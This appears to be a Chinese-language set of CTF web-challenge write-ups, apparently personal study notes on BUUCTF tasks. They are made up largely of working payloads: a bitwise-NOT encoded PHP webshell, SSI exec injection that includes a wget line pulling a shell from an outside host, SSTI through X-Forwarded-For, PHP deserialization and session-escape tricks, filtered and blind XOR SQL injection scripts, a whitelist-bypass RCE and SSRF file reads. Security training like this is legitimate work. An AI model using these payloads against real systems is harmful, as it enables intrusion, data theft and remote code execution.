why

疯疯癫癫的小辣鸡

image-20240507211444080

要让我们使用admin登录进去,但是只给我们cookie的username和密码

所以我们先尝试一下登录,没什么大用处

所以直接下一位

抓包试试,然后直接重发看看会发生什么效果

image-20240507212219483

所以说,我们的username是靠cookie决定的,所以我们可以试试在原本的抓包中创建一个新的cookie

image-20240507212413327

一定要在referer之前传才有用哦

放包就直接登上去了

image-20240507153019360

过滤了所有的字母和数字,这一次我们可以采用取反获取payload

先试试phpinfo

<?php
$c = 'phpinfo';
$d = urlencode(~$c);
echo $d;

所以在此

构造payload:

?code=(~%8F%97%8F%96%91%99%90)();

解析一下,因为字符串是取反了的,所以在前面填一个~相当于又取反回来了,在加上()和;相当于一个命令执行

image-20240507154246611

发现禁用函数

先不管,首先创造payload:

assert(eval($_POST[1]));

这个就是一句话木马,使用assert将括号内的内容当做代码执行

将这个进行取反

但是主义assert和eval($_POST[1])要分开来取反,所以创建一个脚本

<?php
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo '(~'.$b.')';
$c='(eval($_POST[1]))';
$d=urlencode(~$c);
echo '(~'.$d.')';
?>

然后使用蚁剑进行连接

连接成功

image-20240507155106130

但是关键的两个打不开,我们猜测要使用readflag去进行读取,但是禁用了许多函数

我们这里可以尝试一下使用蚁剑的插件

image-20240507141704802

easysearch,应该是让我们信息搜集的吧

所以扫后台发现index.php.swp备份。

查看该网址,发现源代码

<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";

}else
{
***
}
***
?>

重点在admin那一段,要求上传的password和admin前6位一样

所以找一找有没有这样的字符串

写一个脚本

import hashlib

for i in range(1000000000):
md5 = hashlib.md5(str(i).encode('utf-8')).hexdigest()
if md5[0:6] == '6d0bc1':
print(str(i)+' | '+md5)

2020666是其中找到的一个

之后尝试使用用户名(随机)加找出来的可以使用的密码尝试

抓包发现url

image-20240507143223710

尝试进入

image-20240507143254859

因为是shtml文件,所以使用ssi注入,关于ssi注入最后会进行解释

其注入格式为:

<!--#exec cmd="命令" -->

所以,尝试命令

<!--#exec cmd="ls" -->

因为只有username被回显,所以命令通过username传上去

发现出现了大批回显,所以是可以实现的

但是这个文件里面没什么东西,所以往上层查查看

所以尝试命令

<!--#exec cmd="ls ../" -->

image-20240507145651365

发现flag

之后就是打开这个了

<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2" -->

找到flag

ssi注入漏洞:

何为SSI注入

SSI注入全称Server-Side Includes Injection,即服务端包含注入。在stm、shtm、shtml等Web页面中,如果用户可以从外部输入SSI标签,而输入的内容会显示到上述后缀的Web页面时,就导致可以远程在Web应用中注入脚本来执行代码。

简单点说就是攻击者可以通过外部输入SSI标签到Web页面(stm、shtm、shtml文件)来动态执行代码。

SSI注入允许远程在Web应用中注入脚本来执行代码。简单点说就是攻击者可以通过外部输入SSI语句到Web页面来动态执行代码。

前提条件

攻击者要想进行SSI注入、在Web服务器上运行任意命令,需要满足下列几点前提条件才能成功:

  1. Web服务器支持并开启了SSI;
  2. Web应用程序在返回HTML页面时,嵌入了用户输入的内容;
  3. 外部输入的参数值未进行有效的过滤;
漏洞场景

一般地,在stm、shtm、shtml等文件中,存在XSS的页面,大概率是存在SSI注入漏洞的。也就是说,用户输入的内容会显示在页面中的场景。比如,一个存在反射型XSS漏洞的页面,如果输入的payload不是XSS代码而是SSI的标签,同时服务器又开启了对SSI的支持的话就会存在SSI注入漏洞。

常用语句

命令执行

Linux

列出目录文件:

<!--#exec cmd="ls" -->

访问目录:

<!--#exec cmd="cd /root/dir/">

执行脚本:

<!--#exec cmd="wget http://mysite.com/shell.txt | rename shell.txt shell.php" -->

Windows

列出目录文件:

<!--#exec cmd="dir" -->

访问目录:

<!--#exec cmd="cd C:\admin\dir">

image-20240506210911422

image-20240506210925122

就这两张图

怎么获得ip

经过查阅发现是使用的xff

具体情况之后知识点总结

所以,这里我们要通过xff来获取flag

在抓包页面加上X-Forwarded-For:123

页面变成了

image-20240506211401522

所以我们可以知道xff之后的就是可以回显的东西,尝试一下注入

但是加上一些sql注入的语句之后发现不太行

这个时候就可以尝试一下模版注入

X-Forwarded-For:3

发现回显是

image-20240506211648204

说明里面的东西是能执行的

所以,尝试一些命令

X-Forwarded-For:{{system('ls /')}}

image-20240506211921255

之后就是

X-Forwarded-For:{{system('cat /flag')}}

拿到flag

有关:

xff:

X-Forwarded-For (XFF) 在客户端访问服务器的过程中如果需要经过HTTP代理或者负载均衡服务器,可以被用来获取最初发起请求的客户端的IP地址,这个消息首部成为事实上的标准。在消息流从客户端流向服务器的过程中被拦截的情况下,服务器端的访问日志只能记录代理服务器或者负载均衡服务器的IP地址。

也就是记录ip地址的作用

php获取ip示例:

function getRemoteIP()
{
if (!isset($_SERVER["HTTP_X_FORWARDED_FOR"])) {
return $_SERVER["REMOTE_ADDR"]; /* 兼容已有程序 */
}

return $_SERVER["HTTP_X_FORWARDED_FOR"]; /* 返回用户真实 IP */
}

xff注入原理与使用

漏洞描述:XFF,是X-Forwarded-for的缩写,XFF注入是SQL注入的一种,该注入原理是通过修改
X-Forwarded-for头对带入系统的dns进行sql注入,从而得到网站的数据库内容。

检测方法:

通过火狐的插件X-Forwarded-for header 1.0.1.1 进行对本地IP地址进行修改,为其带入的IP地址加入敏感字符

修改后,找到网站登录页面或者其它功能交互页面,提交数据后,查看是否会报错,如果会报错,则说明可能存在该漏洞

image-20240506203933911

在网址前面加上view-source:就行了,可以看到源代码

之后再代码里找到一个

image-20240506204048410

进去之后是这样的

image-20240506204109917

所以我们看看这个代码

这道题的flag在phpinfo里面,所以,我们要做的就是进入这个界面,所以,想到通过data传一个命令去打开phpinfo

同时输出的事$b($a)

所以猜测是重新传输一个a和b上去

<?php
class HelloPhp
{
public $a='phpinfo()';
public $b='assert';
}
$b = new HelloPhp;
$b=serialize($b);
echo $b;
?>

使用这个去实现序列化,然后将结果传给data

所以随后的payload为:

?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

之后就进去了phpinfo界面

查找flag

image-20240506205522732

知识点:

assert()断言函数

assert — 检查一个断言是否为 false
assert(mixed $assertion, Throwable $exception = ?): bool
如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。

image-20240506191811043

先说测试结果,这个页面是实现不了注入的,过滤的真干净,可能有大佬可以,但是我目前是不行

所以随便注册了个账号进去

image-20240506192116018

登陆之后的页面是这样的

注销登陆就是登出,没什么用

我们直接点进申请发布广告,看看有没有注入的可能性

image-20240506192315205

输入’进去,发现广告详情处产生报错

image-20240506192944973

所以可以确定是存在注入点的,嘻嘻

所以之后就是尝试注入,联合注入

其中有些敏感字符被替换

空格被替换为空
or
and
join
--+
#
order by
updatexml
extractvalue
exp
floor
...

所以绕过这些去进行一个注入,首先group by找列数

'/**/group/**/by/**/23,'

,’是为了和后面的limit产生闭合

之后的几个就是直接使用&&’1’=’1进行闭合了

找出有23列

之后就是正常注入,爆出查找回显位为2,3

之后爆出数据库

'union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,'

但是我们可以知道的是or被过滤了

information_schema的替换

所以information_schema用不了,经过查询可以使用mysql.innodb_table_stats进行替换

所以创造出payload

1'union/**/select/**/1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name='web1'&&'1'='1

然后是最后的查找字段了,但是,emm

过滤了information_schema,table还有代替的表名,column可没有

所以在查询之后发现的方法就是直接查询表内所有数据

相关payload如下

1'/**/union/**/select/**/1,(select/**/group_concat(`3`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)n),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1

拿到flag

接下来是关键知识点解析:

sql注入之无表名注入

为什么会需要无列名注入?

我们常用的SQL注入方法是通过information_schema这个默认数据库来实现,可是你有没有想过,如果过滤了该数据库那么我们就不能通过这个库来查出表名和列名。不过我们可以通过两种方法来查出表名:

InnoDb引擎

从MYSQL5.5.8开始,InnoDB成为其默认存储引擎。而在MYSQL5.6以上的版本中,inndb增加了innodb_index_stats和innodb_table_stats两张表(mysql.innodb_table_stats),这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。高版本的 mysql 中,还有 INNODB_TABLES 及 INNODB_COLUMNS 中记录着表结构。

sys数据库

在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据来自information_schema和performance_chema,其本身不存储数据。可以通过其中的schema_auto_increment_columns(sys.schema_auto_increment_columns)来获取表名。

但是上述两种方法都只能查出表名,无法查到列名,这时我们就要用到无列名注入了。无列名注入,顾名思义,就是不需要列名就能注出数据的注入。

无列名注入使用条件

无列名注入主要是适用于已经获取到数据表,但无法查询列的情况下,在大多数 CTF 题目中,information_schema 库被过滤,使用这种方法获取列名。

无列名注入原理

无列名注入的原理其实很简单,就是联合查询创建虚拟数据。可以看作将我们不知道的列名进行取别名操作,在取别名的同时进行数据查询,所以查询字段数一定要相同,如果我们查询的字段多于数据表中列的时候,就会出现报错。

实战演示:

正常查user表的数据是select * from user;

用联合查询的方式来查一下表中数据select 1,2,3 union select * from user;。很明显创建了虚拟数据(虚拟字段值123和虚拟表),虚拟表中列名变成了123。

只查一个列的字段值的话我们可以用:
解释一下,xxx就是自己命名的虚拟表的表名,可以自定义。这条sql语句在联合查询创建虚拟表xxx,虚拟列1,2,3的同时查询虚拟表第二列的数据。

select 2 from (select 1,2,3 union select * from user)xxx;

同时查多个列

select concat(2,3) from (select 1,2,3 union select * from user)xxx;

不过有时候 ` 也会被过滤,这时候我们就又要用到取别名(as)的操作了,把列名都换一换,那样查数据时候列名就不需要反引号了。

select 1 as a,2 as b,3 as c union select * from user;

select b from (select 1 as a,2 as b,3 as c union select * from user)xxx;

还有一种是利用JOIN去进行无列名注入,通过JOIN建立两个表之间的内连接,也就是说将两张表的列名给加起来,可能会爆出相同的列的名字,我们利用的就是这个特性来爆出列名。

select * from (select * from user as a join user as b)xxx;

得到了第一个列名id,下面这个payload就会给我们回显第二列的数据。

select * from (select * from user as a join user as b using(id))xxx;

剩下的以此类推。

select * from (select * from user as a join user as b using(id,username))xxx;

image-20240505210635547

好,sql盲注!

看看12345,都没啥用

6也没啥用处

所以我们尝试一下就是说

知识点:

有一种特殊的报错,是Error! <br>

,就目前观察来看,是符合当前注入的SQL查询错误。

再补充下异或得到的值:
1^0 1
1^1 0
1^2 3
1^3 2
1^4 5
1^5 4
1^6 7
1^7 6

一般来讲,1^true=0,1^false=1
这是异或注入的原理
也就是说,我们经常使用到的是:
1^(true)=0 ERROR!!!
1^(false)=1 NO! Not this! Click others~~~
这俩数据,是我们进行爆破的核心关键所在。

所以我们尝试异或注入

大括号的意思是包含了某个值,大括号的具体内容看下面脚本就行了

尝试测测库长度,直接测出来了

?id=1^(length(database()));
-- 得到的值等价于4,说明数据库的名字是四位的

尝试爆库名

?id=1^(ascii(SUBSTRING(database(),1,1))=103);
-- 分别爆出的:103,101,101,107 => geek

尝试爆列爆表

爆表名长度

?id=1^((SELECT(length(GROUP_CONCAT(table_name)))FROM(information_schema.tables)where(table_schema=database()))=16)
-- 得到的是16

#爆破表名
#一个是上面获取的字符串长度轮换变化,一个是0到128的ascii码的十进制数字变化
?id=1^((SELECT(ascii(SUBSTRING(GROUP_CONCAT(table_name),{},1)))FROM(information_schema.tables)where(table_schema=database()))={})
-- 爆出来的是: F1naI1y,Flaaaaag

尝试根据Flaaaaag表名爆列值

?id=1^((SELECT(ord(SUBSTRING(GROUP_CONCAT(column_name),{},1)))FROM(information_schema.columns)where(table_name="Flaaaaag"))={});
-- 得到id,fl4gawsl

尝试爆列值

-- 这个爆列值就算了,就是个报错集中表,就是那些id=1到id=6的存放表
-- 暂时排除此处存在flag的情况

尝试爆破另外一个表F1naI1y

爆列名

?id=1^((SELECT(ord(SUBSTRING(GROUP_CONCAT(column_name),{},1)))FROM(information_schema.columns)where(table_name="F1naI1y"))={});
-- 爆出来的列是id,username,password

用户名爆不出东西,尝试爆破密码

##### ?id=1^((select(ord(SUBSTRING(GROUP_CONCAT(password),{},1)))from(geek.F1naI1y))={});

-- 这爆破实在是久得离谱……
-- 用上了ascii码,并且排除了特殊字符,就那么慢慢爆破
-- 这个时候就能暂时放下手中的题目,先去做别的题了`

我们尝试使用脚本

# 休息时间应该长一些
import requests
import time

url = 'http://0e436f5d-1231-4b41-b566-2a97ea0f61d3.node5.buuoj.cn:81/search.php?id=1'
res = ''
for i in range(1, 500):
print(i)
left = 31
right = 127
mid = left + ((right - left) >> 1)
while left < right:
#payload = "^(ascii(substr(database(),{},1))>{})".format(i,mid)
# payload = "^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),{},1))>{})".format(i,mid)
# payload = "^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)='Flaaaaag'),{},1))>{})".format(i,mid)
payload = "^(ascii(substr((select(group_concat(password))from(F1naI1y)),{},1))>{})".format(i, mid)
r = requests.get(url=url + payload)
# print(mid)
if r.status_code == 429:
print('too fast')
time.sleep(10)
if 'NO! Not this! Click others~~~' not in r.text:
left = mid + 1
elif 'NO! Not this! Click others~~~' in r.text:
right = mid
mid = left + ((right - left) >> 1)
if mid == 127 or mid == 31:
break
res += chr(mid)
print(str(mid), res)

拿到flag

image-20240505155919167

看到phpinfo旁边的提示了,尝试观察phpinfo

image-20240505160605676

找到了这个

再往后尝试 show_image,没什么用

但是我们仔细看看就会发现只有传了show_image才能进行反序列化

所以,当f=show_image是可以读文件的,只要$userinfo[‘img’]是相应的flag.php的base64加密

所以之后就来看看serialize_info

filter是过滤用的

一、phpflag

原理:因为序列化的字符串是严格的,对应的格式不能错,比如s:4:”name”,那s:4就必须有一个字符串长度是4的否则就往后要。

并且unserialize会把多余的字符串当垃圾处理,在花括号内的就是正确的,花括号后面的就都被扔掉。

示例:

<?php
#正规序列化的字符串
$a = "a:2:{s:3:\"one\";s:4:\"flag\";s:3:\"two\";s:4:\"test\";}";
var_dump(unserialize($a));
#带有多余的字符的字符串
$a_laji = "a:2:{s:3:\"one\";s:4:\"flag\";s:3:\"two\";s:4:\"test\";};s:3:\"真的垃圾img\";lajilaji";
var_dump(unserialize($a_laji));

我们有了这个逃逸概念的话,就大概可以理解了。如果我们把

$_SESSION[‘img’] = base64_encode(‘guest_img.png’);这段代码的img属性放到花括号外边去,

然后花括号中注好新的img属性,那么他本来要求的img属性就被咱们替换了。

那如何达到这个目的就要通过过滤函数了,因为咱的序列化的是个字符串啊,然后他又把黑名单的东西替换成空。

post一个数据。

_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

ZDBnM19mMWFnLnBocA==也就是d0g3_f1ag.php的base64加密。

s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;}这个肯定就是我们预期的那段序列化字符,

那么 ;s:1:”1”; 这几个字符呢?

如果使用大佬的payload那么可以明白,现在的_SESSION就存在两个键值即phpflag和img对应的键值对。

并且这个字符串得好好读才能不蒙圈。

$_SESSION['phpflag']=";s:1:\"1\";s:3:\"img\";s:20:\"ZDBnM19mMWFnLnBocA==\";}";
$_SESSION['img'] = base64_encode('guest_img.png');
var_dump( serialize($_SESSION) );
#"a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"
;s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

经过filter过滤后phpflag就会被替换成空,

s:7:”phpflag”;s:48:” 就变成了 s:7:””;s:48:”;即完成了逃逸。

两个键值分别被序列化成了

s:7:””;s:48:”;s:1:”1”;即键名叫”;s:48: 对应的值为一个字符串1。这个键值对只要能瞒天过海就行。

s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;键名img对应的字符串是d0g3_f1ag.php的base64编码。

右花括号后面的;s:3:”img”;s:20:”Z3Vlc3RfaW1nLnBuZw==”;}”全被当成孤儿放弃了。

发现/d0g3_fllllllag,base64加密,替换原字符串

二、session

这里将下面的东西进行序列化

$_SESSION[“user”] = ‘guest’;
$_SESSION[‘function’] = ‘a’;
$_SESSION[‘img’] = ‘ZDBnM19mMWFnLnBocA==’;//d0g3_f1ag.php base64编码
var_dump(serialize($_SESSION));
//得到
string(90)”a:3:{s:4:”user”;s:5:”guest”;s:8:”function”;s:1:”a”;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;}”
将这里的user和function进行修改,然后这里会进行代码一开始的过滤,将变量$img中的php flag php5 php4 fl1g的字符串替换成’’空字符

$_SESSION[“user”] = ‘flagflagflagflagflagflag’;
$_SESSION[‘function’]= = ‘a”;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;s:2:”dd”;s:1:”a”;}’;
$_SESSION[‘img’]=’ZDBnM19mMWFnLnBocA==’;

// d0g3_f1ag.php base64编码

序列化后

a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
将flag进行了过滤

a:3:{s:4:"user";s:24:"#";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
由于s:24 会往后边读取24位字符”;s:8:”function”;s:59:”a做为user的属性值, #号包含起来的部分,读取到a的时候结束,后面的;进行了闭合,相当于吞掉了一个属性和值,接着会继续读取我们构造的img,由于总共三个属性,我在后边加上了一个属性和值,后边的序列化结果直接就被丢弃

payload:

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a”;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;s:2:”dd”;s:1:”a”;}

得到了flag in /d0g3_fllllllag

image-20240505180449554

两者核心都在于通过构造某个变量,使得后面的变量无效化

最后将/d0g3_fllllllag,base64加密

得到L2QwZzNfZmxsbGxsbGFn

替换flag.php机密过后的结果,即可获得flag

``<?php error_reporting(0); //听说你很喜欢数学,不知道你是否爱它胜过爱flag if(!isset($_GET[‘c’])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET[‘c’]; if (strlen($content) >= 80) { die(“太长了不会算”); } $blacklist = [‘ ‘, ‘\t’, ‘\r’, ‘\n’,’'‘, ‘“‘, ‘`’, ‘[‘, ‘]‘];

foreach ($blacklist as $blackitem)

​ {if (preg_match(‘/‘ . $blackitem . ‘/m’, $content))

​ {die(“请不要输入奇奇怪怪的字符”);}}

//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp

$whitelist = [‘abs’, ‘acos’, ‘acosh’, ‘asin’, ‘asinh’, ‘atan2’, ‘atan’, ‘atanh’, ‘base_convert’, ‘bindec’, ‘ceil’, ‘cos’, ‘cosh’, ‘decbin’, ‘dechex’, ‘decoct’, ‘deg2rad’, ‘exp’, ‘expm1’, ‘floor’, ‘fmod’, ‘getrandmax’, ‘hexdec’, ‘hypot’, ‘is_finite’, ‘is_infinite’, ‘is_nan’, ‘lcg_value’, ‘log10’, ‘log1p’, ‘log’, ‘max’, ‘min’, ‘mt_getrandmax’, ‘mt_rand’, ‘mt_srand’, ‘octdec’, ‘pi’, ‘pow’, ‘rad2deg’, ‘rand’, ‘round’, ‘sin’, ‘sinh’, ‘sqrt’, ‘srand’, ‘tan’, ‘tanh’];

preg_match_all(‘/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/‘, $content, $used_funcs);
foreach ($used_funcs[0] as $func)

{if (!in_array($func, $whitelist))

​ {die(“请不要输入奇奇怪怪的函数”);}

}

//帮你算出答案

eval(‘echo ‘.$content.’;’); }

以上就是本题代码

分析一下

不能传超过80个字符串以上

然后是黑名单加白名单

此处是不能直接用cat /flag的

要想办法构造该命令执行

tip:

php中可以把函数名通过字符串的方式传递给一个变量,然后通过此变量动态调用函数比如下面的代码会执行 system(‘cat/flag’);

$a='system';
$a('cat/flag');

所以可以构建

?c=($_GET[a])($_GET[b])&a=system&b=cat /flag

但是,a、b都不在白名单

所以,我们可以直接用一些变量名替换

比如

?c=($_GET[pi])($_GET[abs])&pi=system&abs=cat /flag

同时_和[]是被禁用的

所以,我们要找一找其他的方法

可以尝试字符串转进制的方式

这里可以用到hex2bin函数

所以

我们去找一找

_GET函数就是5f 47 45 54

但是hex2bin也没有在白名单啊,怎么办

这个时候就可以使用base_convert

base_convert()函数能够在任意进制之间转换数字

hex2bin可以看做是36进制,用base_convert来转换将在10进制的数字转换为16进制就可以出现hex2bin

hex2bin=base_convert(37907361743,10,36)

之后在使用dechex将10进制的数字转化为16进制的5f 47 45 54

之后就可以实现hex2bin(5f 47 45 54)的操作

最终payload:

/?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag

这里是定义个变量,否则后面要写一大串,没必要

直接拿下

image-20240505030850620

发现有robots.txt可以打开

image-20240505030918810

直接访问

下载之后直接打开

image-20240505031002440

get方法中,curl_exec()如果使用不当就会导致ssrf漏洞。有一点思路了,而我们在御剑扫到了flag.php。猜测可能flag.php处于内网

ssrf漏洞成因:

SSRF的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。例如,黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片等,利用的是服务端的请求伪造。SSRF利用存在缺陷的Web
应用作为代理攻击远程和本地的服务器。
主要攻击方式如下所示。

  • 对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息。
  • 攻击运行在内网或本地的应用程序。
  • 对内网Web应用进行指纹识别,识别企业内部的资产信息。
  • 攻击内外网的Web应用,主要是使用HTTP GET请求就可以实现的攻击(比如struts2、SQli等)。
  • 利用file协议读取本地文件等。

http://payloads.net/ssrf.php?url=192.168.1.10:3306

http://payloads.net/ssrf.php?url=file:///c:/windows/win.ini

ssrf漏洞相关函数:

file_get_contents()、fsockopen()、curl_exec()、fopen()、readfile()

所以在这里我们可以发现关于curl_exec函数的使用

认定为ssrf漏洞

ssrf访问的话可以使用伪协议

file://var/www/html/flag.php

比较经典的var/www/html/

image-20240505150354978

apache的主要配置文件默认站点目录

回到题目

首先是先注册一个账号。之后进入用户界面发现no参数

尝试一下1 or 1=1–+

是可以注入的,所以应该可以尝试SQL注入

剩下的就是sql注入

?no=1 order by 4`

`?no=-1 union/**/select/**/1,2,3,4`

`?no=-1 union/**/select/**/1,group_concat(schema_name),3,4/**/from/**/information_schema.schemata`

`?no=-1 union/**/select/**/1,group_concat(table_name),3,4/**/from/**/information_schema.tables/**/where/**/table_schema='fakebook'`

`?no=-1 union/**/select/**/1,group_concat(column_name),3,4/**/from/**/information_schema.columns/**/where/**/table_name='users'`

`?no=-1 union/**/select/**/1,group_concat(no,'~',username,'~',passwd,'~',data),3,4/**/from/**/fakebook.users

到这里都没什么问题

过滤了空格但是可以/**/绕过,没什么大问题

到最后,我们可以发现账户密码都无所谓因为都是自己设置的

所以,接下来就是看data

O:8:”UserInfo”:3:{s:4:”name”;s:5:”admin”;s:3:”age”;i:12;s:4:”blog”;s:8:”123.blog”;}

根据注入可知,username是的二位。猜测data为第四个字段,所以我们可以尝试写入一些连接,通过反序列化的形式写入

所以构建payload:

?no=-1 union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"mochu";s:3:"age";i:7;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

写入data字段

在页面代码中发现一串base64编码

image-20240505152212286

翻译一下

找到flag

0%